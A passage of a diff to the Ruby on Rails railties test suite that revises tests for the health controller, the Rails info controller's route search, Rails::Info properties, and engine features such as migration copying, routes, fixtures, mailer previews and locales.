+  test "health controller renders red internal server error page in HTML" do
+    @controller.instance_eval do
+      def render_up
+        raise Exception, "some exception"
+      end
+    end
+    get :show, format: :html
+    assert_response :internal_server_error
+    assert_match(/background-color: red/, @response.body)
+  end
+
+  test "health controller returns JSON success response" do
+    get :show, format: :json
+    assert_response :success
+    assert_includes @response.content_type, "application/json"
+
+    json_response = JSON.parse(@response.body)
+    assert_equal "up", json_response["status"]
+    assert_includes json_response, "timestamp"
+    assert_match(/\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}/, json_response["timestamp"])
+  end
+
+  test "health controller returns JSON error response" do
+    @controller.instance_eval do
+      def render_up
+        raise Exception, "some exception"
+      end
+    end
+    get :show, format: :json
+    assert_response :internal_server_error
+    assert_includes @response.content_type, "application/json"
+
+    json_response = JSON.parse(@response.body)
+    assert_equal "down", json_response["status"]
+    assert_includes json_response, "timestamp"
+    assert_match(/\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}/, json_response["timestamp"])
+  end
+end
diff --git a/railties/test/rails_info_controller_test.rb b/railties/test/rails_info_controller_test.rb
index d795629ccd41d..61e2194f596e7 100644
--- a/railties/test/rails_info_controller_test.rb
+++ b/railties/test/rails_info_controller_test.rb
@@ -1,18 +1,31 @@
-require "abstract_unit"
+# frozen_string_literal: true
 
-module ActionController
-  class Base
-    include ActionController::Testing
-  end
-end
+require "abstract_unit"
 
 class InfoControllerTest < ActionController::TestCase
+  include ActiveSupport::Testing::Isolation
   tests Rails::InfoController
 
   def setup
+    ActionController::Base.include ActionController::Testing
+
+    engine = Class.new(::Rails::Engine) do |blorgh|
+      railtie_name "blorgh"
+      blorgh.routes.draw do
+        resources :posts
+      end
+    end
+
     Rails.application.routes.draw do
+      namespace :test do
+        get :nested_route, to: "test#show"
+      end
       get "/rails/info/properties" => "rails/info#properties"
-      get "/rails/info/routes"     => "rails/info#routes"
+      get "/rails/info/routes" => "rails/info#routes"
+      get "/rails/info/notes" => "rails/info#notes"
+      post "/rails/:test/properties" => "rails/info#properties"
+      put "/rails/:test/named_properties" => "rails/info#properties", as: "named_rails_info_properties"
+      mount engine, at: "/blog"
     end
     @routes = Rails.application.routes
 
@@ -21,6 +34,14 @@ def setup
     @request.env["REMOTE_ADDR"] = "127.0.0.1"
   end
 
+  def exact_results
+    JSON(response.body)["exact"]
+  end
+
+  def fuzzy_results
+    JSON(response.body)["fuzzy"]
+  end
+
   test "info controller does not allow remote requests" do
     @request.env["REMOTE_ADDR"] = "example.org"
     get :properties
@@ -34,8 +55,12 @@ def setup
   end
 
   test "info controller allows requests when all requests are considered local" do
+    @request.env["REMOTE_ADDR"] = "example.org"
+    Rails.application.config.consider_all_requests_local = true
     get :properties
     assert_response :success
+  ensure
+    Rails.application.config.consider_all_requests_local = false
   end
 
   test "info controller allows local requests" do
@@ -53,30 +78,160 @@ def setup
     assert_response :success
   end
 
-  test "info controller returns exact matches" do
-    exact_count = -> { JSON(response.body)["exact"].size }
+  test "info controller routes shows source location" do
+    Rails.env = "development"
+    Rails.configuration.eager_load = false
+    Rails.application.initialize!
+    Rails.application.routes.draw do
+      namespace :test do
+        get :nested_route, to: "test#show"
+      end
+      get "/rails/info/routes" => "rails/info#routes"
+    end
+
+    get :routes
 
-    get :routes, params: { path: "rails/info/route" }
-    assert exact_count.call == 0, "should not match incomplete routes"
+    assert_select("table tr") do
+      assert_select("td", text: "test_nested_route_path")
+      assert_select("td", text: "test/test#show")
+      assert_select("td", text: "#{__FILE__}:87")
+    end
+  end
 
-    get :routes, params: { path: "rails/info/routes" }
-    assert exact_count.call == 1, "should match complete routes"
+  test "info controller routes shows engine routes" do
+    get :routes
 
-    get :routes, params: { path: "rails/info/routes.html" }
-    assert exact_count.call == 1, "should match complete routes with optional parts"
+    assert_select("table tr") do
+      assert_select("td", text: "blorgh_path")
+      assert_select("td", text: "/blog")
+      assert_select("td", text: "posts_path")
+      assert_select("td", text: "posts#index")
+    end
   end
 
-  test "info controller returns fuzzy matches" do
-    fuzzy_count = -> { JSON(response.body)["fuzzy"].size }
+  test "info controller search returns exact matches for route names" do
+    get :routes, params: { query: "rails_info_" }, as: :json
+    assert exact_results.size == 0, "should not match incomplete route names"
+
+    get :routes, params: { query: "" }
+    assert exact_results.size == 0, "should not match unnamed routes"
+
+    get :routes, params: { query: "rails_info_properties" }
+    assert exact_results.size == 1, "should match complete route names"
+    assert exact_results.include? "/rails/info/properties(.:format)"
+
+    get :routes, params: { query: "rails_info_properties_path" }
+    assert exact_results.size == 1, "should match complete route paths"
+    assert exact_results.include? "/rails/info/properties(.:format)"
+
+    get :routes, params: { query: "rails_info_properties_url" }
+    assert exact_results.size == 1, "should match complete route urls"
+    assert exact_results.include? "/rails/info/properties(.:format)"
+
+    get :routes, params: { query: "blog" }
+    assert exact_results.size == 1, "should match complete engine route paths"
+    assert exact_results.include? "/blog"
+  end
+
+  test "info controller search returns exact matches for route paths" do
+    get :routes, params: { query: "rails/info/route" }, as: :json
+    assert exact_results.size == 0, "should not match incomplete route paths"
+
+    get :routes, params: { query: "/rails/info/routes" }
+    assert exact_results.size == 1, "should match complete route paths prefixed with /"
+    assert exact_results.include? "/rails/info/routes(.:format)"
+
+    get :routes, params: { query: "rails/info/routes" }
+    assert exact_results.size == 1, "should match complete route paths NOT prefixed with /"
+    assert exact_results.include? "/rails/info/routes(.:format)"
+
+    get :routes, params: { query: "rails/info/routes.html" }
+    assert exact_results.size == 1, "should match complete route paths with optional parts"
+    assert exact_results.include? "/rails/info/routes(.:format)"
+
+    get :routes, params: { query: "test/nested_route" }
+    assert exact_results.size == 1, "should match complete route paths that are nested in a namespace"
+    assert exact_results.include? "/test/nested_route(.:format)"
+  end
+
+  test "info controller search returns case-sensitive exact matches for HTTP Verb methods" do
+    get :routes, params: { query: "GE" }, as: :json
+    assert exact_results.size == 0, "should not match incomplete HTTP Verb methods"
+
+    get :routes, params: { query: "get" }
+    assert exact_results.size == 0, "should not case-insensitive match HTTP Verb methods"
+
+    get :routes, params: { query: "GET" }
+    assert exact_results.size == 4, "should match complete HTTP Verb methods"
+    assert exact_results.include? "/test/nested_route(.:format)"
+    assert exact_results.include? "/rails/info/properties(.:format)"
+    assert exact_results.include? "/rails/info/routes(.:format)"
+    assert exact_results.include? "/rails/info/notes(.:format)"
+  end
+
+  test "info controller search returns exact matches for route Controller#Action(s)" do
+    get :routes, params: { query: "rails/info#propertie" }, as: :json
+    assert exact_results.size == 0, "should not match incomplete route Controller#Action(s)"
+
+    get :routes, params: { query: "rails/info#properties" }
+    assert exact_results.size == 3, "should match complete route Controller#Action(s)"
+    assert exact_results.include? "/rails/info/properties(.:format)"
+    assert exact_results.include? "/rails/:test/properties(.:format)"
+    assert exact_results.include? "/rails/:test/named_properties(.:format)"
+  end
+
+  test "info controller returns fuzzy matches for route names" do
+    get :routes, params: { query: "" }, as: :json
+    assert exact_results.size == 0, "should not match unnamed routes"
+
+    get :routes, params: { query: "rails_info" }
+    assert fuzzy_results.size == 4, "should match incomplete route names"
+    assert fuzzy_results.include? "/rails/info/properties(.:format)"
+    assert fuzzy_results.include? "/rails/info/routes(.:format)"
+    assert fuzzy_results.include? "/rails/info/notes(.:format)"
+    assert fuzzy_results.include? "/rails/:test/named_properties(.:format)"
+
+    get :routes, params: { query: "/rails/info/routes" }
+    assert fuzzy_results.size == 1, "should match complete route names"
+    assert fuzzy_results.include? "/rails/info/routes(.:format)"
+
+    get :routes, params: { query: "named_rails_info_properties_path" }
+    assert fuzzy_results.size == 1, "should match complete route paths"
+    assert fuzzy_results.include? "/rails/:test/named_properties(.:format)"
+
+    get :routes, params: { query: "named_rails_info_properties_url" }
+    assert fuzzy_results.size == 1, "should match complete route urls"
+    assert fuzzy_results.include? "/rails/:test/named_properties(.:format)"
+  end
+
+  test "info controller returns fuzzy matches for route paths" do
+    get :routes, params: { query: "rails/:test" }, as: :json
+    assert fuzzy_results.size == 2, "should match incomplete routes"
+    assert fuzzy_results.include? "/rails/:test/properties(.:format)"
+    assert fuzzy_results.include? "/rails/:test/named_properties(.:format)"
+
+    get :routes, params: { query: "/rails/info/routes" }
+    assert fuzzy_results.size == 1, "should match complete routes"
+    assert fuzzy_results.include? "/rails/info/routes(.:format)"
+
+    get :routes, params: { query: "rails/info/routes.html" }
+    assert fuzzy_results.size == 0, "should match optional parts of route literally"
+  end
 
-    get :routes, params: { path: "rails/info" }
-    assert fuzzy_count.call == 2, "should match incomplete routes"
+  # Intentionally ignoring fuzzy match of HTTP Verb methods. There's not much value to 'GE' returning 'GET' results.
 
-    get :routes, params: { path: "rails/info/routes" }
-    assert fuzzy_count.call == 1, "should match complete routes"
+  test "info controller search returns fuzzy matches for route Controller#Action(s)" do
+    get :routes, params: { query: "rails/info#propertie" }, as: :json
+    assert fuzzy_results.size == 3, "should match incomplete routes"
+    assert fuzzy_results.include? "/rails/info/properties(.:format)"
+    assert fuzzy_results.include? "/rails/:test/properties(.:format)"
+    assert fuzzy_results.include? "/rails/:test/named_properties(.:format)"
 
-    get :routes, params: { path: "rails/info/routes.html" }
-    assert fuzzy_count.call == 0, "should match optional parts of route literally"
+    get :routes, params: { query: "rails/info#properties" }
+    assert fuzzy_results.size == 3, "should match complete route Controller#Action(s)"
+    assert fuzzy_results.include? "/rails/info/properties(.:format)"
+    assert fuzzy_results.include? "/rails/:test/properties(.:format)"
+    assert fuzzy_results.include? "/rails/:test/named_properties(.:format)"
   end
 
   test "internal routes do not have a default params[:internal] value" do
diff --git a/railties/test/rails_info_test.rb b/railties/test/rails_info_test.rb
index 9f4c5bb025b04..eeb8b56585fc6 100644
--- a/railties/test/rails_info_test.rb
+++ b/railties/test/rails_info_test.rb
@@ -1,26 +1,15 @@
-require "abstract_unit"
-
-unless defined?(Rails) && defined?(Rails::Info)
-  module Rails
-    class Info; end
-  end
-end
+# frozen_string_literal: true
 
-require "active_support/core_ext/kernel/reporting"
+require "abstract_unit"
 
 class InfoTest < ActiveSupport::TestCase
-  def setup
-    Rails.send :remove_const, :Info
-    silence_warnings { load "rails/info.rb" }
-  end
-
   def test_property_with_block_swallows_exceptions_and_ignores_property
     assert_nothing_raised do
       Rails::Info.module_eval do
         property("Bogus") { raise }
       end
     end
-    assert !property_defined?("Bogus")
+    assert_not property_defined?("Bogus")
   end
 
   def test_property_with_string
@@ -39,7 +28,7 @@ def test_property_with_block
 
   def test_rails_version
     assert_property "Rails version",
-      File.read(File.realpath("../../../RAILS_VERSION", __FILE__)).chomp
+      File.read(File.realpath("../../RAILS_VERSION", __dir__)).chomp
   end
 
   def test_html_includes_middleware
@@ -50,7 +39,7 @@ def test_html_includes_middleware
     html = Rails::Info.to_html
     assert_includes html, '<tr><td class="name">Middleware</td>'
     properties.value_for("Middleware").each do |value|
-      assert_includes html, "<li>#{CGI.escapeHTML(value)}</li>"
+      assert_includes html, "<li>#{ERB::Util.html_escape(value)}</li>"
     end
   end
 
diff --git a/railties/test/railties/engine_test.rb b/railties/test/railties/engine_test.rb
index 52d691b73b60a..19078236d7ec9 100644
--- a/railties/test/railties/engine_test.rb
+++ b/railties/test/railties/engine_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 require "stringio"
 require "rack/test"
@@ -8,7 +10,11 @@ class EngineTest < ActiveSupport::TestCase
     include Rack::Test::Methods
 
     def setup
-      build_app
+      build_app({ multi_db: true })
+
+      routes <<~'RUBY'
+        mount Bukkits::Engine, at: "/"
+      RUBY
 
       @plugin = engine "bukkits" do |plugin|
         plugin.write "lib/bukkits.rb", <<-RUBY
@@ -30,14 +36,18 @@ def boot_rails
       require "#{app_path}/config/environment"
     end
 
-    test "serving sprocket's assets" do
-      @plugin.write "app/assets/javascripts/engine.js.erb", "<%= :alert %>();"
-      add_to_env_config "development", "config.assets.digest = false"
-
-      boot_rails
+    def migrations(database = nil)
+      migration_path = if database
+        config = ActiveRecord::Base.configurations.configs_for(name: database)
+        config.migrations_paths
+      else
+        ActiveRecord::Migrator.migrations_paths.first
+      end
 
-      get "/assets/engine.js"
-      assert_match "alert()", last_response.body
+      migration_root = File.expand_path(migration_path, app_path)
+      sm = ActiveRecord::SchemaMigration::NullSchemaMigration.new
+      im = ActiveRecord::InternalMetadata::NullInternalMetadata.new
+      ActiveRecord::MigrationContext.new(migration_root, sm, im).migrations
     end
 
     test "rake environment can be called in the engine" do
@@ -45,7 +55,7 @@ def boot_rails
 
       @plugin.write "Rakefile", <<-RUBY
         APP_RAKEFILE = '#{app_path}/Rakefile'
-        load 'rails/tasks/engine.rake'
+        load "rails/tasks/engine.rake"
         task :foo => :environment do
           puts "Task ran"
         end
@@ -58,6 +68,8 @@ def boot_rails
     end
 
     test "copying migrations" do
+      add_to_config("config.active_record.timestamped_migrations = false")
+
       @plugin.write "db/migrate/1_create_users.rb", <<-RUBY
         class CreateUsers < ActiveRecord::Migration::Current
         end
@@ -80,31 +92,84 @@ def up
         end
       RUBY
 
-      add_to_config "ActiveRecord::Base.timestamped_migrations = false"
-
+      restrict_frameworks
       boot_rails
 
       Dir.chdir(app_path) do
         output = `bundle exec rake bukkits:install:migrations`
 
-        assert File.exist?("#{app_path}/db/migrate/2_create_users.bukkits.rb")
-        assert File.exist?("#{app_path}/db/migrate/3_add_last_name_to_users.bukkits.rb")
-        assert_match(/Copied migration 2_create_users.bukkits.rb from bukkits/, output)
-        assert_match(/Copied migration 3_add_last_name_to_users.bukkits.rb from bukkits/, output)
-        assert_match(/NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output)
-        assert_equal 3, Dir["#{app_path}/db/migrate/*.rb"].length
+        ["CreateUsers", "AddLastNameToUsers", "CreateSessions"].each do |migration_name|
+          assert migrations.detect { |migration| migration.name == migration_name }
+        end
+        assert_match(/Copied migration \d+_create_users\.bukkits\.rb from bukkits/, output)
+        assert_match(/Copied migration \d+_add_last_name_to_users\.bukkits\.rb from bukkits/, output)
+        assert_match(/NOTE: Migration \d+_create_sessions\.rb from bukkits has been skipped/, output)
+
+        migrations_count = Dir["#{app_path}/db/migrate/*.rb"].length
+
+        assert_equal migrations.length, migrations_count
 
         output = `bundle exec rake railties:install:migrations`.split("\n")
 
-        assert_no_match(/2_create_users/, output.join("\n"))
+        assert_equal migrations_count, Dir["#{app_path}/db/migrate/*.rb"].length
+
+        assert_no_match(/\d+_create_users/, output.join("\n"))
 
-        bukkits_migration_order = output.index(output.detect { |o| /NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/ =~ o })
+        bukkits_migration_order = output.index(output.detect { |o| /NOTE: Migration \d+_create_sessions\.rb from bukkits has been skipped/.match?(o) })
         assert_not_nil bukkits_migration_order, "Expected migration to be skipped"
+      end
+    end
 
-        migrations_count = Dir["#{app_path}/db/migrate/*.rb"].length
-        `bundle exec rake railties:install:migrations`
+    test "copying migrations to specific database" do
+      add_to_config("config.active_record.timestamped_migrations = false")
 
-        assert_equal migrations_count, Dir["#{app_path}/db/migrate/*.rb"].length
+      @plugin.write "db/migrate/1_create_users.rb", <<-RUBY
+        class CreateUsers < ActiveRecord::Migration::Current
+        end
+      RUBY
+
+      @plugin.write "db/migrate/2_add_last_name_to_users.rb", <<-RUBY
+        class AddLastNameToUsers < ActiveRecord::Migration::Current
+        end
+      RUBY
+
+      @plugin.write "db/migrate/3_create_sessions.rb", <<-RUBY
+        class CreateSessions < ActiveRecord::Migration::Current
+        end
+      RUBY
+
+      app_file "db/animals_migrate/1_create_sessions.rb", <<-RUBY
+        class CreateSessions < ActiveRecord::Migration::Current
+          def up
+          end
+        end
+      RUBY
+
+      restrict_frameworks
+      boot_rails
+
+      Dir.chdir(app_path) do
+        output = `bundle exec rake bukkits:install:migrations DATABASE=animals`
+
+        ["CreateUsers", "AddLastNameToUsers", "CreateSessions"].each do |migration_name|
+          assert migrations("animals").detect { |migration| migration.name == migration_name }
+        end
+        assert_match(/Copied migration \d+_create_users\.bukkits\.rb from bukkits/, output)
+        assert_match(/Copied migration \d+_add_last_name_to_users\.bukkits\.rb from bukkits/, output)
+        assert_match(/NOTE: Migration \d+_create_sessions\.rb from bukkits has been skipped/, output)
+
+        migrations_count = Dir["#{app_path}/db/animals_migrate/*.rb"].length
+
+        assert_equal migrations("animals").length, migrations_count
+
+        output = `bundle exec rake railties:install:migrations DATABASE=animals`.split("\n")
+
+        assert_equal migrations_count, Dir["#{app_path}/db/animals_migrate/*.rb"].length
+
+        assert_no_match(/\d+_create_users/, output.join("\n"))
+
+        bukkits_migration_order = output.index(output.detect { |o| /NOTE: Migration \d+_create_sessions\.rb from bukkits has been skipped/ =~ o })
+        assert_not_nil bukkits_migration_order, "Expected migration to be skipped"
       end
     end
 
@@ -118,6 +183,8 @@ class Engine < ::Rails::Engine
         RUBY
       end
 
+      add_to_config("config.active_record.timestamped_migrations = false")
+
       @plugin.write "db/migrate/1_create_users.rb", <<-RUBY
         class CreateUsers < ActiveRecord::Migration::Current
         end
@@ -135,12 +202,12 @@ class CreateBlogs < ActiveRecord::Migration::Current
       Dir.chdir(app_path) do
         output = `bundle exec rake railties:install:migrations`.split("\n")
 
-        assert_match(/Copied migration \d+_create_users.bukkits.rb from bukkits/, output.first)
-        assert_match(/Copied migration \d+_create_blogs.blog_engine.rb from blog_engine/, output.last)
+        assert_match(/Copied migration \d+_create_users\.bukkits\.rb from bukkits/, output.first)
+        assert_match(/Copied migration \d+_create_blogs\.blog_engine\.rb from blog_engine/, output.second)
       end
     end
 
-    test "dont reverse default railties order" do
+    test "don't reverse default railties order" do
       @api = engine "api" do |plugin|
         plugin.write "lib/api.rb", <<-RUBY
           module Api
@@ -158,6 +225,8 @@ class Engine < ::Rails::Engine; end
         RUBY
       end
 
+      add_to_config("config.active_record.timestamped_migrations = false")
+
       @core.write "db/migrate/1_create_users.rb", <<-RUBY
         class CreateUsers < ActiveRecord::Migration::Current; end
       RUBY
@@ -166,13 +235,14 @@ class CreateUsers < ActiveRecord::Migration::Current; end
         class CreateKeys < ActiveRecord::Migration::Current; end
       RUBY
 
+      restrict_frameworks
       boot_rails
 
       Dir.chdir(app_path) do
         output = `bundle exec rake railties:install:migrations`.split("\n")
 
-        assert_match(/Copied migration \d+_create_users.core_engine.rb from core_engine/, output.first)
-        assert_match(/Copied migration \d+_create_keys.api_engine.rb from api_engine/, output.last)
+        assert_match(/Copied migration \d+_create_users\.core_engine\.rb from core_engine/, output.first)
+        assert_match(/Copied migration \d+_create_keys\.api_engine\.rb from api_engine/, output.second)
       end
     end
 
@@ -192,18 +262,21 @@ class AddFirstNameToUsers < ActiveRecord::Migration::Current
 
       @plugin.write "Rakefile", <<-RUBY
         APP_RAKEFILE = '#{app_path}/Rakefile'
-        load 'rails/tasks/engine.rake'
+        load "rails/tasks/engine.rake"
       RUBY
 
-      add_to_config "ActiveRecord::Base.timestamped_migrations = false"
+      add_to_config "ActiveRecord.timestamped_migrations = false"
 
       boot_rails
 
       Dir.chdir(@plugin.path) do
         output = `bundle exec rake app:bukkits:install:migrations`
-        assert File.exist?("#{app_path}/db/migrate/0_add_first_name_to_users.bukkits.rb")
-        assert_match(/Copied migration 0_add_first_name_to_users.bukkits.rb from bukkits/, output)
-        assert_equal 1, Dir["#{app_path}/db/migrate/*.rb"].length
+
+        migration_with_engine_path = migrations.detect { |migration| migration.name == "AddFirstNameToUsers" }
+        assert migration_with_engine_path
+        assert_match(/\/db\/migrate\/\d+_add_first_name_to_users\.bukkits\.rb/, migration_with_engine_path.filename)
+        assert_match(/Copied migration \d+_add_first_name_to_users\.bukkits\.rb from bukkits/, output)
+        assert_equal migrations.length, Dir["#{app_path}/db/migrate/*.rb"].length
       end
     end
 
@@ -213,7 +286,7 @@ class AddFirstNameToUsers < ActiveRecord::Migration::Current
       require "rdoc/task"
       require "rake/testtask"
       Rails.application.load_tasks
-      assert !Rake::Task.task_defined?("bukkits:install:migrations")
+      assert_not Rake::Task.task_defined?("bukkits:install:migrations")
     end
 
     test "puts its lib directory on load path" do
@@ -222,6 +295,26 @@ class AddFirstNameToUsers < ActiveRecord::Migration::Current
       assert_equal "Another", Another.name
     end
 
+    test "when the bootstrap hook runs, autoload paths are set" do
+      $test_autoload_once_paths = []
+      $test_autoload_paths = []
+
+      add_to_config <<~RUBY
+        # Unrealistic configuration, but keeps the test simple.
+        config.autoload_once_paths << "#{app_path}/app/helpers"
+
+        initializer "inspect autoload paths", after: :bootstrap_hook do
+          $test_autoload_once_paths += ActiveSupport::Dependencies.autoload_once_paths
+          $test_autoload_paths += ActiveSupport::Dependencies.autoload_paths
+        end
+      RUBY
+
+      boot_rails
+
+      assert_includes $test_autoload_once_paths, "#{app_path}/app/helpers"
+      assert_includes $test_autoload_paths, "#{app_path}/app/controllers"
+    end
+
     test "puts its models directory on autoload path" do
       @plugin.write "app/models/my_bukkit.rb", "class MyBukkit ; end"
       boot_rails
@@ -234,6 +327,34 @@ class AddFirstNameToUsers < ActiveRecord::Migration::Current
       assert_nothing_raised { BukkitController }
     end
 
+    test "can draw routes in app routes from engines" do
+      @plugin.write "config/routes/testing.rb", <<~RUBY
+        Rails.application.routes.draw do
+          get "/testing", to: "testing#index", as: :testing
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<~RUBY
+        Rails.application.routes.draw do
+          draw(:testing)
+        end
+      RUBY
+
+      @plugin.write "app/controllers/testing_controller.rb", <<-RUBY
+        class TestingController < ActionController::Base
+          def index
+            render plain: "test"
+          end
+        end
+      RUBY
+
+      boot_rails
+
+      get("/testing")
+
+      assert_equal("test", last_response.body)
+    end
+
     test "adds its views to view paths" do
       @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
         class BukkitController < ActionController::Base
@@ -271,6 +392,43 @@ def index
       assert_equal "Hi bukkits\n", response[2].body
     end
 
+    test "adds its fixtures path to fixture_paths" do
+      @plugin.write "test/fixtures/bukkits.yml", ""
+
+      boot_rails
+
+      test_class = Class.new
+      test_class.singleton_class.attr_accessor :fixture_paths
+      test_class.fixture_paths = []
+      ActiveSupport.run_load_hooks(:active_record_fixtures, test_class)
+
+      assert_equal test_class.fixture_paths, ["#{Bukkits::Engine.root}/test/fixtures/"]
+    end
+
+    test "adds its mailer previews to mailer preview paths" do
+      @plugin.write "app/mailers/bukkit_mailer.rb", <<-RUBY
+        class BukkitMailer < ActionMailer::Base
+          def foo
+          end
+        end
+      RUBY
+
+      @plugin.write "test/mailers/previews/bukkit_mailer_preview.rb", <<-RUBY
+        class BukkitMailerPreview < ActionMailer::Preview
+          def foo
+          end
+        end
+      RUBY
+
+      @plugin.write "app/views/bukkit_mailer/foo.html.erb", "Bukkit"
+
+      boot_rails
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/bukkit_mailer">Bukkit Mailer</a></h3>', last_response.body
+      assert_match '<li><a href="/rails/mailers/bukkit_mailer/foo">foo</a></li>', last_response.body
+    end
+
     test "adds helpers to controller views" do
       @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
         class BukkitController < ActionController::Base
@@ -379,6 +537,37 @@ def index
       assert $executed
     end
 
+    test "locales can be nested" do
+      app_file "config/locales/en/models.yml", <<~YAML
+        en:
+          foo: "1"
+      YAML
+
+      app_file "config/locales/en/dates.yml", <<~YAML
+        en:
+          bar: "1"
+      YAML
+
+      app_file "config/locales/extra/nested/folder/en.yml", <<~YAML
+        en:
+          baz: "1"
+      YAML
+
+      boot_rails
+
+      expected_locales = %W(
+        #{app_path}/config/locales/en/models.yml
+        #{app_path}/config/locales/en/dates.yml
+        #{app_path}/config/locales/extra/nested/folder/en.yml
+      ).map { |path| File.expand_path(path) }
+
+      actual_locales = I18n.load_path.map { |path| File.expand_path(path) }
+
+      expected_locales.each do |expected_locale|
+        assert_includes(actual_locales, expected_locale)
+      end
+    end
+
     test "i18n files have lower priority than application ones" do
       add_to_config <<-RUBY
         config.i18n.load_path << "#{app_path}/app/locales/en.yml"
@@ -387,18 +576,18 @@ def index
       app_file "app/locales/en.yml", <<-YAML
 en:
   bar: "1"
-YAML
+      YAML
 
       app_file "config/locales/en.yml", <<-YAML
 en:
   foo: "2"
   bar: "2"
-YAML
+      YAML
 
       @plugin.write "config/locales/en.yml", <<-YAML
 en:
   foo: "3"
-YAML
+      YAML
 
       boot_rails
 
@@ -473,6 +662,8 @@ def call(env)
 
       add_to_config "config.middleware.use Bukkits"
       boot_rails
+
+      assert_includes Rails.application.middleware.map(&:klass), Bukkits, "Bukkits middleware should be in the middleware stack"
     end
 
     test "initializers are executed after application configuration initializers" do
@@ -503,13 +694,13 @@ def initialize(app)
 
       def call(env)
         response = @app.call(env)
-        response[2].each(&:upcase!)
+        response[2] = response[2].collect(&:upcase)
         response
       end
     end
 
     test "engine is a rack app and can have its own middleware stack" do
-      add_to_config("config.action_dispatch.show_exceptions = false")
+      add_to_config("config.action_dispatch.show_exceptions = :none")
 
       @plugin.write "lib/bukkits.rb", <<-RUBY
         module Bukkits
@@ -557,7 +748,6 @@ def index
 
       get("/arunagw")
       assert_equal "arunagw", last_response.body
-
     end
 
     test "it provides routes as default endpoint" do
@@ -622,19 +812,23 @@ class Engine < ::Rails::Engine
         end
       RUBY
 
-      require "rack/file"
+      routes <<~'RUBY'
+        mount Bukkits::Engine, at: "/engine"
+        get "/other" => "other#index"
+      RUBY
+
       boot_rails
 
-      env = Rack::MockRequest.env_for("/")
+      env = Rack::MockRequest.env_for("/engine")
       Bukkits::Engine.call(env)
       assert_equal Bukkits::Engine.routes, env["action_dispatch.routes"]
 
-      env = Rack::MockRequest.env_for("/")
+      env = Rack::MockRequest.env_for("/other")
       Rails.application.call(env)
       assert_equal Rails.application.routes, env["action_dispatch.routes"]
     end
 
-    test "isolated engine should include only its own routes and helpers" do
+    test "isolated engine routes and helpers are isolated to that engine" do
       @plugin.write "lib/bukkits.rb", <<-RUBY
         module Bukkits
           class Engine < ::Rails::Engine
@@ -694,29 +888,55 @@ def help_the_engine
       RUBY
 
       @plugin.write "app/controllers/bukkits/foo_controller.rb", <<-RUBY
-        class Bukkits::FooController < ActionController::Base
-          def index
-            render inline: "<%= help_the_engine %>"
-          end
+        module Bukkits
+          class FooController < ActionController::Base
+            def index
+              render inline: "<%= help_the_engine %>"
+            end
 
-          def show
-            render plain: foo_path
-          end
+            def show
+              render plain: foo_path
+            end
 
-          def from_app
-            render inline: "<%= (self.respond_to?(:bar_path) || self.respond_to?(:something)) %>"
-          end
+            def from_app
+              render inline: "<%= (self.respond_to?(:bar_path) || self.respond_to?(:something)) %>"
+            end
+
+            def routes_helpers_in_view
+              render inline: "<%= foo_path %>, <%= main_app.bar_path %>"
+            end
 
-          def routes_helpers_in_view
-            render inline: "<%= foo_path %>, <%= main_app.bar_path %>"
+            def polymorphic_path_without_namespace
+              render plain: polymorphic_path(Post.new)
+            end
           end
+        end
+      RUBY
 
-          def polymorphic_path_without_namespace
-            render plain: polymorphic_path(Post.new)
+      @plugin.write "app/controllers/bukkits/session_controller.rb", <<-RUBY
+        module Bukkits
+          class SessionController < ApplicationController
+            def index
+              render plain: default_path
+            end
+
+            private
+              def default_path
+                foo_path
+              end
           end
         end
       RUBY
 
+      controller "bar", <<-RUBY
+        class BarController < Bukkits::SessionController
+          private
+            def default_path
+              bar_path
+            end
+        end
+      RUBY
+
       @plugin.write "app/mailers/bukkits/my_mailer.rb", <<-RUBY
         module Bukkits
           class MyMailer < ActionMailer::Base
@@ -724,15 +944,18 @@ class MyMailer < ActionMailer::Base
         end
       RUBY
 
-      add_to_config("config.action_dispatch.show_exceptions = false")
+      add_to_config("config.action_dispatch.show_exceptions = :none")
 
       boot_rails
 
       assert_equal "bukkits_", Bukkits.table_name_prefix
       assert_equal "bukkits", Bukkits::Engine.engine_name
       assert_equal Bukkits.railtie_namespace, Bukkits::Engine
-      assert ::Bukkits::MyMailer.method_defined?(:foo_url)
-      assert !::Bukkits::MyMailer.method_defined?(:bar_url)
+      assert ::Bukkits::MyMailer.new.respond_to?(:foo_url)
+      assert_not ::Bukkits::MyMailer.new.respond_to?(:bar_url)
+
+      get("/bar")
+      assert_equal "/bar", last_response.body
 
       get("/bukkits/from_app")
       assert_equal "false", last_response.body
@@ -801,7 +1024,7 @@ def new
           <% end %>
       ERB
 
-      add_to_config("config.action_dispatch.show_exceptions = false")
+      add_to_config("config.action_dispatch.show_exceptions = :none")
 
       boot_rails
 
@@ -840,7 +1063,7 @@ def index
         end
       RUBY
 
-      add_to_config("config.action_dispatch.show_exceptions = false")
+      add_to_config("config.action_dispatch.show_exceptions = :none")
 
       boot_rails
 
@@ -848,6 +1071,73 @@ def index
       assert_equal "ok", last_response.body
     end
 
+    test "nested isolated engines should set correct route module prefix" do
+      app = File.readlines("#{app_path}/config/application.rb")
+      app.insert(6, "require \"bukkits/awesome\"")
+      File.open("#{app_path}/config/application.rb", "r+") do |f|
+        f.puts app
+      end
+
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            isolate_namespace Bukkits
+          end
+        end
+      RUBY
+
+      @plugin.write "lib/bukkits/awesome.rb", <<-RUBY
+        module Bukkits
+          module Awesome
+            class Engine < ::Rails::Engine
+              isolate_namespace Bukkits::Awesome
+            end
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          mount Bukkits::Engine, at: "/bukkits"
+        end
+
+        Bukkits::Engine.routes.draw do
+          get "/foo" => "foo#index"
+
+          mount Bukkits::Awesome::Engine, at: "/awesome"
+        end
+
+        Bukkits::Awesome::Engine.routes.draw do
+          get "/bar", as: :bar, to: "bar#index"
+        end
+      RUBY
+
+      @plugin.write "app/controllers/bukkits/foo_controller.rb", <<-RUBY
+        class Bukkits::FooController < ActionController::Base
